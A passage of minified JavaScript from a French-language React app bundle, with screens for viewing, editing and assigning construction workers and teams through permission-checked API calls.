ne(`/api/v1/workers/${c}`,{method:&quot;GET&quot;,token:f});S||p(b.data)}catch(b){S||v(b instanceof ge?b.message:&quot;Erreur&quot;)}finally{S||x(!1)}})(),()=&gt;{S=!0}},[c,f,r]),r(&quot;workers.view&quot;)?Number.isFinite(c)?y?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):g||!d?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:&quot;/workers&quot;,title:&quot;Ouvrier&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:g??&quot;Introuvable&quot;})]}):s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:&quot;/workers&quot;,title:d.display_name}),s.jsxs(&quot;dl&quot;,{className:&quot;space-y-3 rounded-2xl border border-stone-800 bg-stone-900/40 px-4 py-3 text-sm&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Réf. externe&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.external_reference??&quot;—&quot;})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Téléphone&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.phone??&quot;—&quot;})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Spécialité&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.specialty??&quot;—&quot;})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Type&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.worker_type??&quot;—&quot;})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Mode paiement&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.payment_mode??&quot;—&quot;})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Actif&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.is_active?&quot;oui&quot;:&quot;non&quot;})]})]}),r(&quot;workers.manage&quot;)?s.jsx(je,{to:`/workers/${d.id}/edit`,className:`inline-block ${ml}`,children:&quot;Modifier&quot;}):null]}):s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Identifiant invalide.&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Ouvrier&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}function Um(){const{workerId:u}=nt(),c=u?Number(u):null,f=Number.isFinite(c),r=$t(),{token:d,can:p}=we(),[g,v]=m.useState(&quot;&quot;),[y,x]=m.useState(&quot;&quot;),[S,b]=m.useState(&quot;&quot;),[T,Y]=m.useState(&quot;&quot;),[R,U]=m.useState(&quot;&quot;),[w,k]=m.useState(&quot;&quot;),[$,F]=m.useState(&quot;&quot;),[I,te]=m.useState(!0),[K,H]=m.useState(null),[Z,q]=m.useState(!1),[W,J]=m.useState(f);m.useEffect(()=&gt;{if(!f||!d||c===null||!Number.isFinite(c)){J(!1);return}let P=!1;return(async()=&gt;{try{const ee=await ne(`/api/v1/workers/${c}`,{method:&quot;GET&quot;,token:d});if(!P){const de=ee.data;v(de.display_name),x(de.external_reference??&quot;&quot;),b(de.phone??&quot;&quot;),Y(de.specialty??&quot;&quot;),U(de.worker_type??&quot;&quot;),k(de.payment_mode??&quot;&quot;),F(de.base_rate!==null&amp;&amp;de.base_rate!==void 0?String(de.base_rate):&quot;&quot;),te(de.is_active)}}catch(ee){P||H(ee instanceof ge?ee.message:&quot;Chargement impossible&quot;)}finally{P||J(!1)}})(),()=&gt;{P=!0}},[f,c,d]);async function L(P){if(P.preventDefault(),!d)return;H(null),q(!0);const ee={display_name:g,external_reference:y||null,phone:S||null,specialty:T||null,worker_type:R||null,payment_mode:w||null,base_rate:$===&quot;&quot;?null:Number($),is_active:I};try{f&amp;&amp;c!==null?(await ne(`/api/v1/workers/${c}`,{method:&quot;PATCH&quot;,token:d,body:JSON.stringify(ee)}),r(`/workers/${c}`)):(await ne(&quot;/api/v1/workers&quot;,{method:&quot;POST&quot;,token:d,body:JSON.stringify(ee)}),r(&quot;/workers&quot;))}catch(de){H(de instanceof ge?de.message:&quot;Enregistrement impossible&quot;)}finally{q(!1)}}return p(&quot;workers.manage&quot;)?W?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:f&amp;&amp;c!==null?`/workers/${c}`:&quot;/workers&quot;,title:f?&quot;Modifier l’ouvrier&quot;:&quot;Nouvel ouvrier&quot;}),s.jsxs(&quot;form&quot;,{onSubmit:P=&gt;void L(P),className:&quot;space-y-4&quot;,children:[K?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:K}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;w-name&quot;,className:oe,children:&quot;Nom affiché&quot;}),s.jsx(&quot;input&quot;,{id:&quot;w-name&quot;,className:re,value:g,onChange:P=&gt;v(P.target.value),required:!0})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;w-ref&quot;,className:oe,children:&quot;Référence externe&quot;}),s.jsx(&quot;input&quot;,{id:&quot;w-ref&quot;,className:re,value:y,onChange:P=&gt;x(P.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;w-phone&quot;,className:oe,children:&quot;Téléphone&quot;}),s.jsx(&quot;input&quot;,{id:&quot;w-phone&quot;,className:re,value:S,onChange:P=&gt;b(P.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;w-spec&quot;,className:oe,children:&quot;Spécialité&quot;}),s.jsx(&quot;input&quot;,{id:&quot;w-spec&quot;,className:re,value:T,onChange:P=&gt;Y(P.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;w-type&quot;,className:oe,children:&quot;Type&quot;}),s.jsx(&quot;input&quot;,{id:&quot;w-type&quot;,className:re,value:R,onChange:P=&gt;U(P.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;w-pay&quot;,className:oe,children:&quot;Mode de paiement&quot;}),s.jsx(&quot;input&quot;,{id:&quot;w-pay&quot;,className:re,value:w,onChange:P=&gt;k(P.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;w-rate&quot;,className:oe,children:&quot;Taux de base&quot;}),s.jsx(&quot;input&quot;,{id:&quot;w-rate&quot;,type:&quot;number&quot;,step:&quot;0.01&quot;,min:&quot;0&quot;,className:re,value:$,onChange:P=&gt;F(P.target.value)})]}),s.jsxs(&quot;label&quot;,{className:&quot;flex items-center gap-2 text-sm text-stone-300&quot;,children:[s.jsx(&quot;input&quot;,{type:&quot;checkbox&quot;,checked:I,onChange:P=&gt;te(P.target.checked)}),&quot;Actif&quot;]}),s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:Z,className:Dt,children:Z?&quot;Enregistrement…&quot;:&quot;Enregistrer&quot;})]})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Ouvrier&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé aux profils avec workers.manage.&quot;})]})}function qv(){const{projectId:u}=nt(),c=Number(u),{token:f,can:r}=we(),{setActiveProjectId:d}=ft(),[p,g]=m.useState([]),[v,y]=m.useState(null),[x,S]=m.useState(!0);return m.useEffect(()=&gt;{if(!Number.isFinite(c)||!f||!r(&quot;teams.view&quot;)){S(!1);return}d(c);let b=!1;return(async()=&gt;{try{const T=await ne(`/api/v1/projects/${c}/teams?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:f});b||g(T.data)}catch(T){b||y(T instanceof ge?T.message:&quot;Erreur&quot;)}finally{b||S(!1)}})(),()=&gt;{b=!0}},[c,f,r,d]),r(&quot;teams.view&quot;)?Number.isFinite(c)?s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:`/projects/${c}`,title:&quot;Équipes&quot;}),r(&quot;teams.manage&quot;)?s.jsx(je,{to:`/projects/${c}/teams/new`,className:&quot;block rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;Nouvelle équipe&quot;}):null,v?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:v}):null,x?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,s.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:p.map(b=&gt;s.jsx(&quot;li&quot;,{children:s.jsxs(je,{to:`/projects/${c}/teams/${b.id}`,className:jt,children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:b.name}),b.description?s.jsx(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:b.description}):null]})},b.id))}),!x&amp;&amp;p.length===0?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Aucune équipe.&quot;}):null]}):s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Projet invalide.&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Équipes&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (teams.view).&quot;})]})}function Bv(){const{projectId:u,teamId:c}=nt(),f=Number(u),r=Number(c),{token:d,can:p}=we(),g=$t(),[v,y]=m.useState(null),[x,S]=m.useState(null),[b,T]=m.useState(!0),[Y,R]=m.useState(!1);m.useEffect(()=&gt;{if(!Number.isFinite(r)||!d||!p(&quot;teams.view&quot;)){T(!1);return}let w=!1;return(async()=&gt;{try{const k=await ne(`/api/v1/teams/${r}`,{method:&quot;GET&quot;,token:d});w||y(k.data)}catch(k){w||S(k instanceof ge?k.message:&quot;Erreur&quot;)}finally{w||T(!1)}})(),()=&gt;{w=!0}},[r,d,p]);async function U(){if(!(!d||!v||!window.confirm(&quot;Supprimer cette équipe ?&quot;))){R(!0);try{await ne(`/api/v1/teams/${v.id}`,{method:&quot;DELETE&quot;,token:d}),g(`/projects/${f}/teams`)}catch(w){S(w instanceof ge?w.message:&quot;Suppression impossible&quot;)}finally{R(!1)}}}return p(&quot;teams.view&quot;)?!Number.isFinite(r)||!Number.isFinite(f)?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Paramètres invalides.&quot;}):b?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):x||!v?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:`/projects/${f}/teams`,title:&quot;Équipe&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:x??&quot;Introuvable&quot;})]}):v.project_id!==f?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:`/projects/${f}/teams`,title:&quot;Équipe&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Cette équipe n’appartient pas à ce chantier.&quot;})]}):s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:`/projects/${f}/teams`,title:v.name}),v.description?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:v.description}):null,s.jsxs(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:[&quot;Chef d’équipe (ouvrier) : &quot;,v.leader_worker_id??&quot;—&quot;]}),s.jsx(&quot;div&quot;,{className:&quot;flex flex-wrap gap-2&quot;,children:p(&quot;teams.manage&quot;)?s.jsxs(s.Fragment,{children:[s.jsx(je,{to:`/projects/${f}/teams/${r}/edit`,className:ml,children:&quot;Modifier&quot;}),s.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:Y,onClick:()=&gt;void U(),className:&quot;rounded-xl border border-red-900/60 px-4 py-2 text-sm text-red-300 hover:bg-red-950/30 disabled:opacity-50&quot;,children:Y?&quot;Suppression…&quot;:&quot;Supprimer&quot;})]}):null})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Équipe&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}function Hm(){const{projectId:u,teamId:c}=nt(),f=Number(u),r=c?Number(c):null,d=Number.isFinite(r),p=$t(),{token:g,can:v}=we(),[y,x]=m.useState(&quot;&quot;),[S,b]=m.useState(&quot;&quot;),[T,Y]=m.useState(&quot;&quot;),[R,U]=m.useState([]),[w,k]=m.useState(null),[$,F]=m.useState(!1),[I,te]=m.useState(d);m.useEffect(()=&gt;{if(!g||!v(&quot;workers.view&quot;))return;let H=!1;return(async()=&gt;{try{const Z=await ne(&quot;/api/v1/workers?per_page=100&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:g});H||U(Z.data)}catch{}})(),()=&gt;{H=!0}},[g,v]),m.useEffect(()=&gt;{if(!d||!g||r===null||!Number.isFinite(r)){te(!1);return}let H=!1;return(async()=&gt;{try{const Z=await ne(`/api/v1/teams/${r}`,{method:&quot;GET&quot;,token:g});if(!H){const q=Z.data;x(q.name),b(q.description??&quot;&quot;),Y(q.leader_worker_id?String(q.leader_worker_id):&quot;&quot;)}}catch(Z){H||k(Z instanceof ge?Z.message:&quot;Chargement impossible&quot;)}finally{H||te(!1)}})(),()=&gt;{H=!0}},[d,r,g]);async function K(H){if(H.preventDefault(),!g||!Number.isFinite(f))return;k(null),F(!0);const Z={name:y,description:S||null,leader_worker_id:T?Number(T):null};try{d&amp;&amp;r!==null?(await ne(`/api/v1/teams/${r}`,{method:&quot;PATCH&quot;,token:g,body:JSON.stringify(Z)}),p(`/projects/${f}/teams/${r}`)):(await ne(`/api/v1/projects/${f}/teams`,{method:&quot;POST&quot;,token:g,body:JSON.stringify(Z)}),p(`/projects/${f}/teams`))}catch(q){k(q instanceof ge?q.message:&quot;Enregistrement impossible&quot;)}finally{F(!1)}}return v(&quot;teams.manage&quot;)?Number.isFinite(f)?I?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:d&amp;&amp;r!==null?`/projects/${f}/teams/${r}`:`/projects/${f}/teams`,title:d?&quot;Modifier l’équipe&quot;:&quot;Nouvelle équipe&quot;}),s.jsxs(&quot;form&quot;,{onSubmit:H=&gt;void K(H),className:&quot;space-y-4&quot;,children:[w?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:w}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;t-name&quot;,className:oe,children:&quot;Nom&quot;}),s.jsx(&quot;input&quot;,{id:&quot;t-name&quot;,className:re,value:y,onChange:H=&gt;x(H.target.value),required:!0})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;t-desc&quot;,className:oe,children:&quot;Description&quot;}),s.jsx(&quot;textarea&quot;,{id:&quot;t-desc&quot;,className:re,rows:3,value:S,onChange:H=&gt;b(H.target.value)})]}),v(&quot;workers.view&quot;)?s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;t-lead&quot;,className:oe,children:&quot;Chef d’équipe (ouvrier)&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;t-lead&quot;,className:re,value:T,onChange:H=&gt;Y(H.target.value),children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),R.map(H=&gt;s.jsx(&quot;option&quot;,{value:H.id,children:H.display_name},H.id))]})]}):null,s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:$,className:Dt,children:$?&quot;Enregistrement…&quot;:&quot;Enregistrer&quot;})]})]}):s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Projet invalide.&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Équipe&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé aux profils avec teams.manage.&quot;})]})}function Lv(){const{projectId:u}=nt(),c=Number(u),{token:f,can:r}=we(),{setActiveProjectId:d}=ft(),[p,g]=m.useState([]),[v,y]=m.useState(null),[x,S]=m.useState(!0);return m.useEffect(()=&gt;{if(!Number.isFinite(c)||!f||!r(&quot;worker_assignments.view&quot;)){S(!1);return}d(c);let b=!1;return(async()=&gt;{try{const T=await ne(`/api/v1/projects/${c}/worker-assignments?per_page=100&amp;sort=-created_at`,{method:&quot;GET&quot;,token:f});b||g(T.data)}catch(T){b||y(T instanceof ge?T.message:&quot;Erreur&quot;)}finally{b||S(!1)}})(),()=&gt;{b=!0}},[c,f,r,d]),r(&quot;worker_assignments.view&quot;)?Number.isFinite(c)?s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:`/projects/${c}`,title:&quot;Affectations ouvriers&quot;}),r(&quot;worker_assignments.manage&quot;)?s.jsx(je,{to:`/projects/${c}/assignments/new`,className:&quot;block rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;Nouvelle affectation&quot;}):null,v?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:v}):null,x?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,s.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:p.map(b=&gt;{var T;return s.jsx(&quot;li&quot;,{children:s.jsxs(je,{to:`/projects/${c}/assignments/${b.id}`,className:jt,children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:((T=b.worker)==null?void 0:T.display_name)??`Ouvrier #${b.worker_id}`}),s.jsxs(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:[b.status,b.start_date?` · du ${b.start_date}`:&quot;&quot;]})]})},b.id)})}),!x&amp;&amp;p.length===0?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Aucune affectation.&quot;}):null]}):s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Projet invalide.&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Affectations&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (worker_assignments.view).&quot;})]})}const Gv=[{value:&quot;planned&quot;,label:&quot;Planifié&quot;},{value:&quot;active&quot;,label:&quot;Actif&quot;},{value:&quot;ended&quot;,label:&quot;Terminé&quot;},{value:&quot;cancelled&quot;,label:&quot;Annulé&quot;}];function Yv(){const{projectId:u}=nt(),c=Number(u),f=$t(),{token:r,can:d}=we(),[p,g]=m.useState(&quot;&quot;),[v,y]=m.useState(&quot;&quot;),[x,S]=m.useState(&quot;&quot;),[b,T]=m.useState(&quot;&quot;),[Y,R]=m.useState(&quot;active&quot;),[U,w]=m.useState([]),[k,$]=m.useState([]),[F,I]=m.useState(null),[te,K]=m.useState(!1);m.useEffect(()=&gt;{if(!r||!Number.isFinite(c))return;let Z=!1;return(async()=&gt;{try{const[q,W]=await Promise.all([d(&quot;workers.view&quot;)?ne(&quot;/api/v1/workers?per_page=100&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:r}):Promise.resolve({data:[]}),ne(`/api/v1/projects/${c}/teams?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:r})]);Z||(w(q.data),$(W.data))}catch{}})(),()=&gt;{Z=!0}},[r,c,d]);async function H(Z){if(Z.preventDefault(),!(!r||!Number.isFinite(c))){I(null),K(!0);try{const q=await ne(`/api/v1/projects/${c}/worker-assignments`,{method:&quot;POST&quot;,token:r,body:JSON.stringify({worker_id:Number(p),team_id:v?Number(v):null,start_date:x||null,end_date:b||null,status:Y})});f(`/projects/${c}/assignments/${q.data.id}`)}catch(q){I(q instanceof ge?q.message:&quot;Enregistrement impossible&quot;)}finally{K(!1)}}}return d(&quot;worker_assignments.manage&quot;)?Number.isFinite(c)?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:`/projects/${c}/assignments`,title:&quot;Nouvelle affectation&quot;}),s.jsxs(&quot;form&quot;,{onSubmit:Z=&gt;void H(Z),className:&quot;space-y-4&quot;,children:[F?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:F}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;a-worker&quot;,className:oe,children:&quot;Ouvrier&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;a-worker&quot;,className:re,value:p,onChange:Z=&gt;g(Z.target.value),required:!0,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),U.map(Z=&gt;s.jsx(&quot;option&quot;,{value:Z.id,children:Z.display_name},Z.id))]})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;a-team&quot;,className:oe,children:&quot;Équipe (optionnel)&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;a-team&quot;,className:re,value:v,onChange:Z=&gt;y(Z.target.value),children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),k.map(Z=&gt;s.jsx(&quot;option&quot;,{value:Z.id,children:Z.name},Z.id))]})]}),s.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-3&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;a-start&quot;,className:oe,children:&quot;Début&quot;}),s.jsx(&quot;input&quot;,{id:&quot;a-start&quot;,type:&quot;date&quot;,className:re,value:x,onChange:Z=&gt;S(Z.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;a-end&quot;,className:oe,children:&quot;Fin&quot;}),s.jsx(&quot;input&quot;,{id:&quot;a-end&quot;,type:&quot;date&quot;,className:re,value:b,onChange:Z=&gt;T(Z.target.value)})]})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;a-status&quot;,className:oe,children:&quot;Statut&quot;}),s.jsx(&quot;select&quot;,{id:&quot;a-status&quot;,className:re,value:Y,onChange:Z=&gt;R(Z.target.value),children:Gv.map(Z=&gt;s.jsx(&quot;option&quot;,{value:Z.value,children:Z.label},Z.value))})]}),s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:te,className:Dt,children:te?&quot;Création…&quot;:&quot;Créer&quot;})]})]}):s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Projet invalide.&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Affectation&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé aux profils avec worker_assignments.manage.&quot;})]})}const kv=[{value:&quot;planned&quot;,label:&quot;Planifié&quot;},{value:&quot;active&quot;,label:&quot;Actif&quot;},{value:&quot;ended&quot;,label:&quot;Terminé&quot;},{value:&quot;cancelled&quot;,label:&quot;Annulé&quot;}];function Qv(){var q;const{projectId:u,assignmentId:c}=nt(),f=Number(u),r=Number(c),{token:d,can:p}=we(),[g,v]=m.useState(null),[y,x]=m.useState([]),[S,b]=m.useState(&quot;&quot;),[T,Y]=m.useState(&quot;&quot;),[R,U]=m.useState(&quot;&quot;),[w,k]=m.useState(&quot;active&quot;),[$,F]=m.useState(null),[I,te]=m.useState(!0),[K,H]=m.useState(!1);m.useEffect(()=&gt;{if(!Number.isFinite(r)||!d){te(!1);return}let W=!1;return(async()=&gt;{try{const J=await ne(`/api/v1/worker-assignments/${r}`,{method:&quot;GET&quot;,token:d});if(!W){const L=J.data;v(L),b(L.team_id?String(L.team_id):&quot;&quot;),Y(L.start_date??&quot;&quot;),U(L.end_date??&quot;&quot;),k(L.status)}if(!W&amp;&amp;Number.isFinite(f)){const L=await ne(`/api/v1/projects/${f}/teams?per_page=100`,{method:&quot;GET&quot;,token:d});W||x(L.data)}}catch(J){W||F(J instanceof ge?J.message:&quot;Erreur&quot;)}finally{W||te(!1)}})(),()=&gt;{W=!0}},[r,f,d]);async function Z(W){if(W.preventDefault(),!(!d||!Number.isFinite(r))){F(null),H(!0);try{const J=await ne(`/api/v1/worker-assignments/${r}`,{method:&quot;PATCH&quot;,token:d,body:JSON.stringify({team_id:S?Number(S):null,start_date:T||null,end_date:R||null,status:w})});v(J.data)}catch(J){F(J instanceof ge?J.message:&quot;Enregistrement impossible&quot;)}finally{H(!1)}}}return!Number.isFinite(r)||!Number.isFinite(f)?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Paramètres invalides.&quot;}):I?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):$&amp;&amp;!g?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:`/projects/${f}/assignments`,title:&quot;Affectation&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:$})]}):g?g.project_id!==f?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:`/projects/${f}/assignments`,title:&quot;Affectation&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Cette affectation n’appartient pas à ce chantier.&quot;})]}):s.jsxs(&quot;div&quot;,{className:&quot;space-y-5&quot;,children:[s.jsx(le,{backTo:`/projects/${f}/assignments`,title:&quot;Affectation&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-300&quot;,children:((q=g.worker)==null?void 0:q.display_name)??`Ouvrier #${g.worker_id}`}),p(&quot;worker_assignments.manage&quot;)?s.jsxs(&quot;form&quot;,{onSubmit:W=&gt;void Z(W),className:&quot;space-y-4 rounded-2xl border border-stone-800 bg-stone-900/30 p-4&quot;,children:[$?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:$}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;ad-team&quot;,className:oe,children:&quot;Équipe&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;ad-team&quot;,className:re,value:S,onChange:W=&gt;b(W.target.value),children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),y.map(W=&gt;s.jsx(&quot;option&quot;,{value:W.id,children:W.name},W.id))]})]}),s.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-3&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;ad-start&quot;,className:oe,children:&quot;Début&quot;}),s.jsx(&quot;input&quot;,{id:&quot;ad-start&quot;,type:&quot;date&quot;,className:re,value:T,onChange:W=&gt;Y(W.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;ad-end&quot;,className:oe,children:&quot;Fin&quot;}),s.jsx(&quot;input&quot;,{id:&quot;ad-end&quot;,type:&quot;date&quot;,className:re,value:R,onChange:W=&gt;U(W.target.value)})]})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;ad-status&quot;,className:oe,children:&quot;Statut&quot;}),s.jsx(&quot;select&quot;,{id:&quot;ad-status&quot;,className:re,value:w,onChange:W=&gt;k(W.target.value),children:kv.map(W=&gt;s.jsx(&quot;option&quot;,{value:W.value,children:W.label},W.value))})]}),s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:K,className:Dt,children:K?&quot;Enregistrement…&quot;:&quot;Mettre à jour&quot;})]}):s.jsxs(&quot;dl&quot;,{className:&quot;space-y-2 text-sm text-stone-400&quot;,children:[s.jsxs(&quot;div&quot;,{children:[&quot;Statut : &quot;,s.jsx(&quot;span&quot;,{className:&quot;text-stone-200&quot;,children:g.status})]}),s.jsxs(&quot;div&quot;,{children:[&quot;Équipe : &quot;,s.jsx(&quot;span&quot;,{className:&quot;text-stone-200&quot;,children:g.team_id??&quot;—&quot;})]})]}),s.jsx(je,{to:`/projects/${f}`,className:&quot;text-xs text-amber-500 hover:text-amber-400&quot;,children:&quot;← Fiche chantier&quot;})]}):null}function 